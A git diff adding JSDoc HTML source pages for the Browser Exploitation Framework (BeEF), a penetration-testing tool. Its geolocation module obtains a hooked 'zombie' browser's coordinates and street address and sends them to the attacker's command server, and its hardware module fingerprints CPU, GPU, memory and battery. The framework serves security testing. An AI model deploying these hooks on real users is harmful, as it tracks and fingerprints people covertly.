z;lLRzFd`ILUuyd^z@NrDsqPla6iuCP_9g%|Y3{ab?ve<-x>#$6@3_MdZo>&cZ4jwz z+lm9-pS=T}Lt^YcqZef^y9ESzTSxir1c9WrswW*zFZio24{rH4gFWByprD}c$E4s!`EWuPqL@U^5^c=J4d<}oe$Uw=|NeAy|G;E6!Rtfi0Ab)P9qYHM6tqXLap`!m2ff%?POGhuksu<3^T2&Ky#o#{{7V zT5k^t^GLZGqyQaeKgGT);~EU1swP@ho{wYeu?KB8j#Gn^r)(OzhzQk_EfUDJ*W=3d zc^Dllv1SEK#*Ss)p|?@sadk^9VK_vH`=8md2GDy_&)~4VmhW?Bt#)$W%JU_`0!fCx zxKVMKKTHZtjh7re*eb+I|HqJ{M zVIxU|M<)y%&&Vdab$2HrJft5Rp9=TvWF15AI$~LjXe%CjL4Y3x(}1o8>~a{_@Rysv zz=M;%`Uu}5kYT-m0j!vZA%u5TAYbHwZyeaS?8Mf0q}6%yUc;910-#_%j-Z$P5sjdw z1z@M4{;(~4FC*6&1D!Eu@*-UB;T5D<2*yyHa*Uge_Oh%|x9B>2OEfvZ=OLWd@cCqX zUwcxu;>}Wa`if9`D1Ozu1laF|&=Elzr6UwEBW^f_5rYvWm_tF^L&Z@i{OzBRr#IkO zgX73mII~h&cih1Ve3%FqGjSp;M}Li8)l}<8Vz>dsXHGm0+p0r87~lsfS^1T^Yt%;8 z{WE-I8W-|GmRF`shwd4dQ4wE7Gx$OV1hT9iPlh^-uYc>0yB(_lcC~unwx!g)Pn2wJ zGPgdhvSJGRo&eLLfUWY_qZ5HIH(c%z4(-=FO?kgNr*&?QH?@ug)MJkp0#M{kl6l)E z*d@7U(Ae^V(WU8--q-dXGg*3wv%YPCx2~rFp6c(EUCznWaf2TG0e|5hVR3 z9^6*sVH%bw4@P?0{%9V}cT*+jBB~v{TP!Av(@EEA#L`;7wUJjV03cc?4Vc?QU>$(2UTc}P2=J^j?b5{~9 zp~UHavUiW5$+P=@jn`$CcUjGn?Bv-N-+QvU@TsS2u;m^=-?97dj@Q^$h8w~mqX{2b zU^XnMZ}EJWI>lUSJvE~P%CtIWFy-WP7%>;gxDftxX5pvwK~X%i6BK&)ctHW@0G;OB zYN=Qc>j6Mme1_~fo85l#@?@6*ztu+M_xxmFt^l_yAhEIY5FR#mnW99d+{47DKa5}W z4D^MSqnCYVzd~l(d%yo(6%9V8PB8z8^41#nR=U6g^E^53SHwRs=Tg1WxxBd;MCm?P z?1Q&O)An4(h89)-ddQVw>6R}c$Oq^AMl5`IC9zUk0BNLf9&ZSEy#6IjB!V_iV0MS~ zz!b~&k)L+L`!HV5O&Pda&$rA8_P(H1iZ`J5wj+Of>v1JT!RSay{Cmi!Vvh%!RnLTb zcVA}jXCcPhhY0x0keX-KEDAnGpiF!yBX_p9bqa#db$+4X%h2q__Q>m@((E?a2>iLD z8>9a`U;=-Bfs$ZN#Ss6b!yhRei&ci|?ZeyL1{>Glpn-xrE(Pkf) zxyz7I4ZE$!9RP+*O}N;v8GXF_RG;tVkEA%b-FM#|0%^oj3lqrsNcdQZG%?YnMT7G` zAEB4G66lr(T-n;HUU&k|3zOyU^%e$&kL-1NE8H zlg1D0gyD2kPN{8fWt#Q!?%iTY;*|L6!Zq)XM-__)~4@oHG`$hOGHLVN8M)}ae+rYuMCdqV5U4=-vZ39`AwOyEyMjAm0f{;b z$Yi!tP}Av)Ff+3$c~2W6wtO@oTyM<4{zABVT3hpiE4V}vz^k!w0?}ck3%e-#agd;rqN0SG?Y0+H}hsPR{*%WEniS zDF$n6!LQTXeDkC^>Dk{#;J&^9oK=ZflU-kqcc?qNyd2463kVdso)s8sr5V-Q$Ov0Z zIf$wm%Puvy6R(Tnn1I{2%_NCq!?K@}eI&tLW+~K)Z6YlmJJVncgwi(@j2=4PTo&mP z33*zQc&=AGw026JkjityVV6njaCpAgu3sUuHnwu7wPh9*Re#9{emapKovtVJ)NY-q zmYYoAfxb5VyPenlE(E{r$b;MRgrZsJK(#-s9!na20XP2_UVZ)Nn&8Py$tz3O?`Jxu zG^8~_W9TWtFG3Jz@2}-V+?w7xL&Z{wMT}gFow|mbt)52OQvuG1&`TE;6F#c%GmhCV zJe%5a#EBV4h!=HT* zPwiG5Lyb)}!P5rG=ZPE$LBJkb{Jen9069Qv%Ns40&*ji^avgUNgTF_ZzeDMZnDRv% z_I54=#r$gyMvU%vco>)nr@!*xpI3R=h_zhKqDI1Wq-1@jvw^>b?AA)b_GlpXJJ(2{ z$TeIFNrDLa2LfKl-E0Cj9p6HLxQ`YcZ|kQ9al(@n-^4_jAmo%xSUWUn4Zy><0cEMzTOWv(E5(K_AevI`u&oGjQHyvbAmG zNe>FnZ#=^y;-czNZ;X3QV}ZwV{qmRZB3&NGxjwreWIQm8VAkk$aLEy-0fzEZ_{?X?)zF{!xHHg=5%YB_P=oUi-s1Xe&O7eN@CQ>Pk)a|U( zQr&QPQL4HdB8MWELKl&zM4QBV)hl)-KE8V@%^v^Y~Fe zPIs}%gcJTnpJru05TRXYv%fI-jhFeh)jM{QpQ5a`kepuq(xwxYMhq**uCn7dmtoPT zu=UeQOANhZ&=-dcPBr;QJiF*g0}xMRW5Uf0lsU}kbxjiLsE_W6)-+< z{*3275tDOWRS+>hudYO)=TJ3l^~w5|c12{XHSYTq{t4EqxB!R?rngiQt&?cScwkizzzgF-5vGTB>7Byh|Bgz9ll+4h>RZS_mD zdRK%Y0$Xs^|2iKZA(6s+GGa*C9KKgt#JM>g63S)ephJ(!yxF^x^iNTO7z_OxrNJGMNy2WDN_AzVcy&A|oeK|kPTz#WnLZVQ#z2+~i z)bPNK^e+;9{NQ`+_DSkewUeIKTo%+feDN1^F)|X=N$OsnkzrqIe?f=gdX)U(rj!dml;J$)uSK0E{<4VDBFtuKk0AwjY{z0E2?oHyN($n0Ss}d!KeSiU^}a#045u)VSW-Yz+VgqBQ6 zcx?&m#JF=YRkBe| z`57#LIKIJORvAdqTtLK za<&bMDiI^Zk_ghuGGA-11T-Oi_GNI}lT<7z3Y$ENL zye)z5$^JY1HBgow8~4Bw1CrI=_n-!B%X;tLxlpZ-Lye-DG*2|g4TT_wPuABEY+cXA3a{&cWs>>zc$SZfS~{VXLCdzErOpV$0e^o!G_`>4Mm>~TVCLG?Z*1a670 zp(3d=13huiSSoyR9kO7uh6ERzIWu`kj#6Ex6Tu} zG2~pO*>dk)tZ|4$IZ~C+wkzS#mWFQgB^~~OVOU6c>g-8brn;|x{J+|kz_cxIEBnK- zkg*i85OF5b4Vg0GSjT>sb0)8>k{-Fz4J{en%D?ndT*s{IvaK1kc$AGw7gW2O;WBR- zaU1Bgkvb}Goh;XnOiXAiS!{j0OG1d41|woI5OT%Omo`%a)*I@TZYz?VXe1nui2%#! zPBL8<-n%u6y=N!XZKWt5y}r!9I)^Fa%ufIEDbztUGos<^e2c+Z$zI6065-QhKV>A` z*yG|C>G^bHJ>}k@adA-){_@h_qUXMDQ@5wJkia6YbF5s4z!q;UOO~gT{_9X$>R-;H za22J!hF(TK;!lxUArqTkE*}bssJ&tQm^QksrI{icBkgXOTyCpg zQ_pI8eFWSs<6$82IYBqz5A9-6Ty2B`0Z-TI7O~aUQJzo)hZ{wMLC*}E65h=V%0%_& zDhpMiyy{A{$luKgJg@zs+oLH#8j%Je30_>VcX2~JZp2dcgKXZVaLe83W?w%2g|>%hF$|C&MU0(y2B2_yusN*J@m#h{LN-%`H@tPX7X7f(8qvjNhU z`zG1trh;8sBK`4clmN&F%p}YrbLWwUQ4AgRMCD{=EAPvqaw-0tZinFl zmFZcn8PRO7eWL5<8sA-l9gXB>jjzR>D<01!XV7*_@a-NYPX7b*D;&DpqcoX7bIqcO z09^E_;&lvYIvMnVa_@N*ANg1aY6C`L2Ts}QH9rb6DMPL90x$s!m$3DHhrl$4Mb~PV z6PcXegXGt*SLnp8xZDRMKx}dI0;6X($#>A*YhP0@48=r<=&7|f!%a7*Igz-hHB}l*PV;^D!+e<0I;n@Hzign%PmJvGd+ojmJ}NCrJo5awT!I8;y0==igVWsaOw<$c2XQkJY$#dBZ9c3k~bMaoE839(-gwM}{GlPbZieMcU zkc%=X=OyM8R`P`P1y#QyQgIH8wJhqWLqjVnS3#kzQ&{;LJiT(IGzhOAd*MYTq~x3n=J#uQdaF4F3eR!+ z10O1(LZ=MD)Swxdz^Sn&JTo=Am-yNb6IG{}BLYqK{flgsC9yMK7P{NGQaQFWo+ZwQ zEQ6T5Y@n-Cy2*S-XFk&`T+^>M>vu{KlBX%oG_$yTWnL~qtH4GuvD0_-wc1>aZrV{! z2WvSbozI#9qa)RL@d9maQqKn&zKKHN+9=jr(EF5?7Mqpsf&0!hFz_aw2ziH)m(ZO6 zVc7S%x%uRhn3^VM=i=%@nnK&&`;M8p6?!6jPIw}Ufd6FAtU)bdJ?Jk`T z^oCsPPy^vjviOx~4F%>2QIj2DQ+a$0^gQ`SPpqNx4}AKxlslx18<-^GmQo=mN3+fa zyyvtsSJB$%7a@@*o?gio47cLW+OF{l_Tt2_QNx2|KJ^3hI-xJ^Vx}LT zh-Niz_!++hW^ChIeVnCt?#8jTUGQqQUYK2bdl0XADZgV@rX1)URXC?R3^XAwB_Lxc zc2ORM;vj2^p~TW5d}+^Ybs7h}{(7DF$1eg8 z0r#AnGW=f_`O-Pj6@u+r@BT4~w=|0x|5VvDxDpL0w>*Vlk%xSKClstMtF6dwt ztc+zSUi7o8tvRReTyO%KyDK3O`<0~0Nw|3bAm4TbkCrfUvQ#I+Xn7fe9 zJ=2!hX{*7C zw&?Qr%l{NQ^=NZbiDpOO?@evrKz?qN+nzuFhUE+u%I;DZ^d;cT4~$022sDZc%60WonSa^`>Sb&VFh#s3N2dfOC}_!PuV=b5G%yPrb$xUr@Bq&wq6{!Kj>cf zwsn}!gD$H`z2ZCRdYH^~rRwEyoclwHsnF?6eAJ0DG7$@a-~Lm0`pbvh6i#0REQSOk z6hJ8{{IA4?Q-|9jpN~0gr8*X-TR%yS5CfwGaWOL~fT|-Ee}RMKXrmelAKc6A$YM)! zffd6p0e5s_kzr|d@e5s1QZ|6WxNw=$KyzS&{zI$D{~A`?(1|mdP80F@bV*|t93Edp zqAn3_Mp0`2`}-)MYsbIZ>^EKc4E=pd|>qpEBh$1 za6says67?Ii~iq7eH;0lS$1#HF7i2glI5e$CpPBCdR!bh(Y4_I}>;pis0%g!-Kiw#%&A>Fb8X|E=K_Hr=zx z$~=>Fw@d0%Y>q3IMwKV~*`zE-+v|k}Iy=t4HvDeMGrDc}SN%8_;)o#f@qf(hJsiC$ z6U|2{3~xs;B?Cb4PF$To3Q9X(-m#@aJDiOY=4$Fb*L}ELp;^>%KIl$wRvxG${;H~V zRNY0pY7P!9ZP(v7o=mb=)^ zK1*ojqG*S*N;&CSEJK=)7)HLLvWIOqI^a<+wJ~~H{i0(gmd#T7T6=vjMc7tfH*<`o z`=oHCL6zlYv^u#6Gx5H&=%GhrWte)yvRwd_QI%Set`@Zk0Tzv9?X74LPC9Q$n6kp0IXGZ$*32~kcZkRm zoNkVr#6-I@Y<~)JE%BEJ`7=(6X_j~s$O$In8yAfEQEdP;Ty$q3=}08zcHdyam3%r6 zT02kxQmHTj%F3YtfbSO`zj!9?R^rBtBjkj$>Cf z@_r{bRcZ-G3rwLL^+}{48V$upNJ)ZP))J_Y{yssy+KRB2AT$)zHCl`Z&7yfKs4_G_ zbQLp{iuT_QA8nP_>@^>(=aE;(iLt9|aWU!eD1?SVURB;h#1YjI>2BzgsNhxsEJYZ4 zKWdC8v?P7Rx>$?m(^j<%viib&Q^LW>MnLs%)@>AN>bPOUQfQ^jo0}fzXA*`II6sep zMmye*$6K$)>dozJuj8WBxW)R&6~ufUC5w=xDkyR=k$0acj%|o+B}OQif{3W*)Gx}9$L}AT!>BLaot(RP zQ`xu=C{iIyG$wriibG`QhqcE7Vj48y%SV=gdTx=tw@k*pVSB`mK)m_705JT}u+(s}QR>y# z?u=-nNz;Zfe^v<`}pUd5u4IyAp0;FtC`}$D8YZR1; zw=6@2d#U3$q?_XO8%9tI;RP!rwUymc{vB(K`ioKwMw2Mxj~5KQW#oz#SlGQsxH*kr z(8FL;p-oJvJ#lqts_AW&`6oR%KX zh+y}wG@_f@+QM3}*oct_LAtegf`?~~RSGU<>M|9|K{nB3N#kJx!Su;!KjEw=8UFg< zB?DjP>|AG8LC7it+b5TS_}o7vX?+$|;^%ua?Sk|oqXT=#@u=firYXhkcLvCWIdS5_ z=tq+XazG>IcQy{(u=Djz-`>fC3h^^oik=Z=0?8NC z$QIyC%WBHOl$q4SP0CbrIz_AXftqP<;IfT@s#Ns^Bq?|BXDo&pL~~Y;|1d6;F6=Bg zG^0*6j*jUhXOY)+#h;s7@d2*O00gj6>L?XwE?lb?y;QxR`sZg1i+UUh9Ja7%F?2Bz z*};qq9?KF&>})ED@Vk1Z`FP|JR;7%EdE}hEQ>u&Pza9l0W*m!rTwlrWZ2IRXPo$gB zO3fe)ti*dn>LoF;g!ZH(!_?wPq!bd_+HU^aQ7SN(L+ZqgzmVMP*3{cbE|ZMC1{eZ; z@O(&7%;X^hX8s)T(Y9K%sd{ zCh+kCX>N}f4{e<~KvO(C{fQh}RStT(^junlSgNc~Dgmx7voM-70a4KVMx+j=vK;T-x4jHzC(tlhrfX>19Oo zZ>8HWyOZSw{)O;vY5ny0aFhJ{dZN;FEPhZ=rq`kSOSnr?1G0)^fI-e{4R7mE5Axjr zK~Q)|Y`X)&)+(=$lbm}Xf^IFrSR%nt$1QLZ?$XGV?YfqE}M? z<$f!p0MOLT4r_PFZPt)1fVyC_tIv3dBcz2zot8XNBFqiks{%$NH#<0o;CJP@yKJ6U z#1e8kL6EJ_NA?N`Ja9GMeE<*#^^`+ zz*(;3KRy{eMEU9=-=Sl_#b&miM*MDIMO{KQp)I;E@qH zyBzmkwPn=2Nxe(D*A4q@|Jv$|l|7d|QCL<{nm%~!_=2fp7H>|F&)Xl7Ew-x2@%IUf z@%Z^O1}q&q@ZN6j0V#!#jM;U(*Oa8pH46qz&g(X@cYe+AzI|#ueabgKasAoNs}!3= z`v^pP&?c3zIK3DqWW0B*%L&0Nb(GXdtwIgA=Ks}dU2%Jbn5Mm2TpLm?ZZQ)~m2qs0 zInk0BC~*V!nusYZ+I43dnngxKs)MMhvjzkJ8Mo1(QvE_2I=h@HKTCt-78;KG2%6}f zkmE|>R2sVDsnURPzMTq` zZHV+yb_;vlLKHonKm`*)Pbz4qC9Iv6@DN)3n~QgbVfjTc4F3;wnEoH=u>3#JVf%le zBkKQ5$N!B4|1PaJkxCksv(D+xAJxT*$;qQ2M=MzmUfsKkoBsf8*A%coYOp`1?XSn64jnSoJ}x1dkYKAzl+9+^Fy z$@ch|D0)t$$)HtJYEWm~*{Jj)Ne)loBo5Y_Lib6fTbfkzJXRe}&gsdum(ya_v_j1a zzjXedSm&TLb?w_T<}7&R%I3y7I!*T?$Lh1w7s~I;A39a5AM3risC-513&m?&Mx>6d zng8L8;XF6{+wNVk^y47QoQbF9HOr3d`52EsHlzOC!)NACd+m@rs)jxO z_9q3+5AK$KdwA0_ZvVxjD<14SRIw+rh4wfF=dzEI^}utLtOu<+wP_*ZjKmU`hDCIH z)`KIG#ML2@rf-CXkiMvpa_gJ39&iVtDb-(i%bl|xiY#(1A-1TWVh{g?&`9s_^b{gW z5jfbh1?E~3aYLZ>2++|kw43{n{Dt1pQ4}Y{Q=Ovh(RQm@9}ZX}Nu(x_YXQ8k--fsO z6NcBBNF*@?FCYcf?RZ7;u6SMPDam)k``~SOkAH+vjdxUbdNL=f+7U}wRAE)YeR6a4Y4f>?#2%hKJL{7um)+dB=13w8PZa4#>-AJr>Ka$71{SSfYL{mS2S+px@)@9Ot@~K=syH4rA+y_S76#=7kkcZxnljMX)855I^Ll)o9}aozHaN}l=L(!aE(?B;U}IJY97`yi zCAYyjE`LBG&{du8~XflunEPhxk6!{H-)hNG1&w@~-)~1}&pqvyO z0>&?)Azxc=`Py*zyG?h$+j952ZFj#r>TY-6@kYN?yy0MZO_64!lwQ+;q65XFOd7$) z$Hh|H%Mql(UIfu0PY>$C2w2TmD<|10A*Ved&6$vC&om`x(sL|QoSryrOSTCSCVC20 zh-K_boPyIFJf(`oS>$A1L-&NSZme;(p%J6x3$ncT!-W?&Oxl(zRQ8j== z>IJXWZ4id_7+exvp0}y=ky-M)zmcDor+;>27nU9!H+nVhJo@?mH`dI%v2M_k{_{V7 z_=z3JKkt0D;-j;9AENl^Fy3L_A;CT>jVhdoJWb+Bl6olhp8}3ou(>MC-&_?Fjd7Q( z3|DGOlEWS!ofDITqi_`6$WPJv_cvLelp?odDb5PTF8u@1s-UCwisdV&+}v7I6;`WQnDtW+J*siN!`?~BX#fI1(-7=iy#tQqq=fii zj^p?bi00p1N%1VdAz)sl2beW5%cf#jq>ivqi+b}|)FF6u${dB@`A~(>5N{b$iD86C zDxMx}DGj9>k7`DWMsq8g*iIBt4#Z07snliY)HSwiC_;bS#>S=Sf)IR-e@D1k(F6|V zKttLP7zW0g;!@p;%dZteF16g{Qo}EYYWn3+Ex#P9?UzH1`lV2R5x{``iKbISCx&ic zhfWIhZaB0PYxpewNmes&qj|aZ>U1&W#KMrGeZXTi>e+#&^dJh!e_&zPK*^Xf_--e+ z()U$e7k9U`y1L9<_(`_b*UO(ZdffRrT=FDO*Zgc&Ynst^kk95A9s=Gc{O6;4*nF7#H#Z4QLBJ$}=H8-kIP`O-mL`E>GYD0HyMqC}rQcD@&{9 znJ|k4Y&d0m(fVsoZ>pcttEtc0Yulc$p6cbMIec4-S1vl%Bwtu?yg7l4E?v~Pi#9`6 zEYDp#@fq42Ido+n`DA>VFS`FzI0IjyO_DAB$Y1&?`Bc`ArL5g4RK`atItbR(`~!(` zY%@@)he{24#{Tjk<{7IxYTD|2*Gq5f;4)&I5D)4ypdQunuDj9JoJDDik7k>R0onrI za{wXJF&)!(w@W*sjqaEHQreEUA@sl-X^F9HGg2Wgt=+>8prjtQx+Cf`?tblUP2i^AT zphx{W=<&Y>I=JI^x$?HcKfgY-VoaR~8rKFVS<8G?rJqibL6)hnQP#)ni0Y)cC?X0b z%wr=>eA8+eB#5XX&}_&2iQ78vEH>J6XOw7Bl)rykv>*#gyi5PI?tj@ot-DMAbc7Wn zh~pC@f-T74U0Sduw11jNH#Jaq&_BIz-2FMU19>@ZpssvnbKmv`Y8CQ*_xY9$fez}K ze{LNTY@kL#-YV-S$XmLH-3)QSQm-b!*gzzk9N?>pjfvX3u-n<|UrQZaZ0Yb~!>@sC z`ZbU(zXr1H*FcW?<&b|N(7;O2LJX3^9bGh`7)wJtBKU=_EYyl%Zb<{Lui6DV74P|u`#y9$V67+k(_AI+FWUv zru71crv{6Rgd7h}QI6&`3DijNIX7I~1d76ex}bcTOEO@!Xy?F}PsB)owXOz- zNX=J=skEFZlA*M%!N!hIM?;YV2>TDEAda*)Huhn77~58z4Zp&YRYx=$xc%T*AsDkb?7!F4QWj#6Vr7VAK|~?-WKghPoGtxS8?n-P>exxCeg$L zDX~}$90aWn$`i?vOUub2dgb2E?o;h~*ppZCT8h^;&c%PxV?+K-N9;X^x_S3@gFCbN zuecLp1M6X+&qu;EEkdeU8UJAat~-bN`a2m|gQx%5Dw4lxhH5qL#LSVSr_Qb#Ii;*P zuSaoF{yn{goi#HWMvt6cUz=alFCSiP-xF8yU-6=F3`NpP8wkNg0xN6;tvMOWYEI}8 z{}EPNXv2<9jl_|(6*rM?TGFjbhjLa4%SF3&m@7;jkdj!ClF==q)Z9>!)@yjzbXUG< zVD!EGH!0D!r2Kx9n>uw%D(KTZ^`_@^pqn4X@qhTP2w&yq|H5Z~6qz`u(f{m^5`0yv z_=WeCn8en=GeZ`0NAcI}tUl!&yU+vV{Ld>fJM&B)w@9SreA=eU{zZ#YxuX&FSZr#P zf0&1Eg>lQXY5Xv7;B0sN74OPE6_)#ky2TegFq>fQD|e+KQLzC>?iNI}Mb(+YDV zzR0wdkvmV1cktS113Exu=V4kE{p4`4lp7$bMDuYgtLqnELnnuC13sgGjGUOH;zu?d$vFGCYO|wZNd@YjS&rg zU58;7iu`#{|8vNMo1S_?&3=UP__15R808JuYPCkKkv$8Ap5@_?93J*86t}}fA5??M zx~16_+45W~zFyg~{9HkjRx?5VhReEeVIb+{dlRRuO*AZ&-vIdKZI=WB_C5uT_Ev$V z(&B)8=Q^SsrW=CB|Hb$DQYaA11_lMY*pJ%U@UElUBKFoEjgt$RqddnYn85 zBcJ~LpkcQVx6AzM7+m}39dmOh2vh#`ZN=Ex761M=zt)3os4b>q{HzLaHWR8U%9LJ! zSIGt8Fgr6dl6J`(==oViYTAqj%xq8&os~qw9%QFc2|V26{~OU0@*`D|wg}*{i8UC| zCj~f+j$FIdfjNhbwhqRy?rD#M!{;l%Aeyhp$nzp!(Q^LlmP%gy3%Nj+mX-Nh$h{}! z2J)$I8>#hW;WcM`&r`XhAxr^Z;P=UxC+9Cyhh<{48|{3-jrZwGIZIF2C&r`hXq>k$ z!36$`-Ap(kn$GYiNlY>twY1ih@((V4I%uo&0%~u9_4h9f7dsRXnM*lPX$HX4QUd+J6zyZWS003g<3%vk%+GAj3VBpC7dk#o4 z{4@M#&K|^&!XV0k3_bt=iOB|R0001Z+HI3TNK{c2hW~r-c~4goBFL;lLR?4-32`BA z2D2e71{V^8v>0S~ErvlP28lt2!G#PVB1D8lM2HL`;>th*5eac2E@Frh7a}5vL`X=; zyZ!e~)*voE{`1ax_q}t^f3H48enO+_J1eWm$Sf+}0JRet^9332DW8YA?t<)x>yl=^f{Z_ftT)2?8kS_@znV+5o3GgL zQdp55Z2Jp1Gdp&|Y+*wJd#+>lvo2zfnv_-ym^S-Ra_U&J{O2SFO`giwyhBFEZL8d} zi;~Bn`sN5v%t|fxt4O%KjB;-UdmvLt>mNv%Uc_{OG1jtX5`i~{3G>FTnb)?%XqS=5&d(8bKdx1)^7bH4#Uux00k^P!%| zhdR6jQdd4)hkfl+%g&2>A}{Eb41~40-+&*d2l<*0_0)X$59gox=fic}85_l2=S4lv z3n|+Jr;(S(Sn}79j{3@}b$P41s44RiXcz~sRKK8C-$`E$oKXwZXRPr)Tw$t+H!P!H zb)p!tY3FqwMTcp$({w zoCW>>)uIZ&0001Z+GAi~(1F4Th6aWQjA@MTm@=4Jm{u`eV&-GEVvb|3VxGpliTMYM z97_z#HkNO!ZmcU`^GN7Zo?kJzKSD`V;aXRP9x4d&Uu{2xJ0<@xFWbZ zxVCX!dgvbn$SE4SWvqX=HiHJFgwTP_|XA{>D z?+`x)gx@4WB-TiBNrp(aNPd$lka{N_C*3B!Li&h|gG`i6pUf>;G1)xX335Dgc5)GN zU2x@x);bWiF2(bLmQ(wn89qQA_5#~{jJg~1QQS4L7sGmNv08;qZsWSLAb z*<
+ +

Source: geolocation.js

+ + + + + + +
+
+
//
+// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+/**
+ * Provides functionalities to use the geolocation API.
+ * @namespace beef.geolocation
+ */
+
+beef.geolocation = {
+
+    /**
+     * Check if browser supports the geolocation API
+     * @return {boolean}
+     */
+    isGeolocationEnabled: function(){
+		return !!navigator.geolocation;
+    },
+
+    /** 
+     * Given latitude/longitude retrieves exact street position of the zombie
+     * @param command_url
+     * @param command_id
+     * @param latitude
+     * @param longitude
+     */
+    getOpenStreetMapAddress: function(command_url, command_id, latitude, longitude){
+
+        // fixes damned issues with jquery 1.5, like this one:
+        // http://bugs.jquery.com/ticket/8084
+        $j.ajaxSetup({
+            jsonp: null,
+            jsonpCallback: null
+        });
+
+        $j.ajax({
+            error: function(xhr, status, error){
+                beef.debug("[geolocation.js] openstreetmap error");
+                beef.net.send(command_url, command_id, "latitude=" + latitude
+                             + "&longitude=" + longitude
+                             + "&osm=UNAVAILABLE"
+                             + "&geoLocEnabled=True");
+                },
+            success: function(data, status, xhr){
+                beef.debug("[geolocation.js] openstreetmap success");
+                //var jsonResp = $j.parseJSON(data);
+
+                beef.net.send(command_url, command_id, "latitude=" + latitude
+                             + "&longitude=" + longitude
+//                             + "&osm=" + encodeURI(jsonResp.display_name)
+                              + "&osm=" + data.display_name
+                             + "&geoLocEnabled=True");
+                },
+            type: "get",
+	    dataType: "json",
+            url: "https://nominatim.openstreetmap.org/reverse?format=jsonv2&lat=" +
+                latitude + "&lon=" + longitude + "&zoom=18&addressdetails=1"
+        });
+
+    },
+
+    /**
+     * Retrieve latitude/longitude using the geolocation API
+     * @param command_url
+     * @param command_id
+     */
+    getGeolocation: function (command_url, command_id){
+
+        if (!navigator.geolocation) {
+	        beef.net.send(command_url, command_id, "latitude=NOT_ENABLED&longitude=NOT_ENABLED&geoLocEnabled=False");	
+			return;
+		}
+        beef.debug("[geolocation.js] navigator.geolocation.getCurrentPosition");
+        navigator.geolocation.getCurrentPosition( //note: this is an async call
+			function(position){ // success
+				var latitude = position.coords.latitude;
+        		var longitude = position.coords.longitude;
+                beef.debug("[geolocation.js] success getting position. latitude [%d], longitude [%d]", latitude, longitude);
+                beef.geolocation.getOpenStreetMapAddress(command_url, command_id, latitude, longitude);
+
+			}, function(error){ // failure
+                    beef.debug("[geolocation.js] error [%d] getting position", error.code);
+					switch(error.code) // Returns 0-3
+					{
+						case 0:
+			            	beef.net.send(command_url, command_id, "latitude=UNKNOWN_ERROR&longitude=UNKNOWN_ERROR&geoLocEnabled=False");
+							return;
+						case 1:
+		            		beef.net.send(command_url, command_id, "latitude=PERMISSION_DENIED&longitude=PERMISSION_DENIED&geoLocEnabled=False");
+							return;
+						case 2:
+		            		beef.net.send(command_url, command_id, "latitude=POSITION_UNAVAILABLE&longitude=POSITION_UNAVAILABLE&geoLocEnabled=False");
+							return;
+						case 3:
+					   		beef.net.send(command_url, command_id, "latitude=TIMEOUT&longitude=TIMEOUT&geoLocEnabled=False");
+							return;
+					}
+            	beef.net.send(command_url, command_id, "latitude=UNKNOWN_ERROR&longitude=UNKNOWN_ERROR&geoLocEnabled=False");
+			},
+			{enableHighAccuracy:true, maximumAge:30000, timeout:27000}
+		);
+    }
+}
+
+
+beef.regCmp('beef.geolocation');
+
+
+
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + diff --git a/docs/hardware.js.html b/docs/hardware.js.html new file mode 100644 index 000000000..366c717fd --- /dev/null +++ b/docs/hardware.js.html @@ -0,0 +1,368 @@ + + + + + JSDoc: Source: hardware.js + + + + + + + + + + +
+ +

Source: hardware.js

+ + + + + + +
+
+
//
+// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+/**
+ * @namespace beef.hardware
+ */
+
+beef.hardware = {
+
+  ua: navigator.userAgent,
+
+  /**
+   * @return {String} CPU type
+   */
+  getCpuArch: function() {
+    var arch = 'UNKNOWN';
+    // note that actually WOW64 means IE 32bit and Windows 64 bit. we are more interested
+    // in detecting the OS arch rather than the browser build
+    if (navigator.userAgent.match('(WOW64|x64|x86_64)') || navigator.platform.toLowerCase() == "win64"){
+      arch = 'x86_64';
+    }else if(typeof navigator.cpuClass != 'undefined'){
+      switch (navigator.cpuClass) {
+        case '68K':
+          arch = 'Motorola 68K';
+          break;
+        case 'PPC':
+          arch = 'Motorola PPC';
+          break;
+        case 'Digital':
+          arch = 'Alpha';
+          break;
+        default:
+          arch = 'x86';
+      }
+    }
+    // TODO we can infer the OS is 64 bit, if we first detect the OS type (os.js).
+    // For example, if OSX is at least 10.7, most certainly is 64 bit.
+    return arch;
+  },
+
+  /**
+   * Returns number of CPU cores
+   * @return {String}
+   */
+  getCpuCores: function() {
+    var cores = 'unknown';
+    try {
+      if(typeof navigator.hardwareConcurrency != 'undefined') {
+        cores = navigator.hardwareConcurrency;
+      }
+    } catch(e) {
+      cores = 'unknown';
+    }
+    return cores;
+  },
+
+  /**
+   * Returns CPU details
+   * @return {String}
+   */
+  getCpuDetails: function() {
+    return {
+      arch: beef.hardware.getCpuArch(),
+      cores: beef.hardware.getCpuCores()
+    }
+  },
+
+  /**
+   * Returns GPU details
+   * @return {object}
+   */
+  getGpuDetails: function() {
+    var gpu = 'unknown';
+    var vendor = 'unknown';
+    // use canvas technique:
+    // https://github.com/Valve/fingerprintjs2
+    // http://codeflow.org/entries/2016/feb/10/webgl_debug_renderer_info-extension-survey-results/
+    try {
+      var getWebglCanvas = function () {
+        var canvas = document.createElement('canvas')
+        var gl = null
+        try {
+          gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl')
+        } catch (e) { }
+        if (!gl) { gl = null }
+        return gl;
+      }
+
+      var glContext = getWebglCanvas();
+      var extensionDebugRendererInfo = glContext.getExtension('WEBGL_debug_renderer_info');
+      var gpu = glContext.getParameter(extensionDebugRendererInfo.UNMASKED_RENDERER_WEBGL);
+      var vendor = glContext.getParameter(extensionDebugRendererInfo.UNMASKED_VENDOR_WEBGL);
+      beef.debug("GPU: " + gpu + " - Vendor: " + vendor);
+    } catch (e) {
+      beef.debug('Failed to detect WebGL renderer: ' + e.toString());
+    }
+    return {
+      gpu: gpu,
+      vendor: vendor
+    }
+  },
+
+  /**
+   * Returns RAM (GiB)
+   * @return {String}
+   */
+  getMemory: function() {
+    var memory = 'unknown';
+    try {
+      if(typeof navigator.deviceMemory != 'undefined') {
+        memory = navigator.deviceMemory;
+      }
+    } catch(e) {
+      memory = 'unknown';
+    }
+    return memory;
+  },
+
+  /**
+   * Returns battery details
+   * @return {Object}
+   */
+  getBatteryDetails: function() {
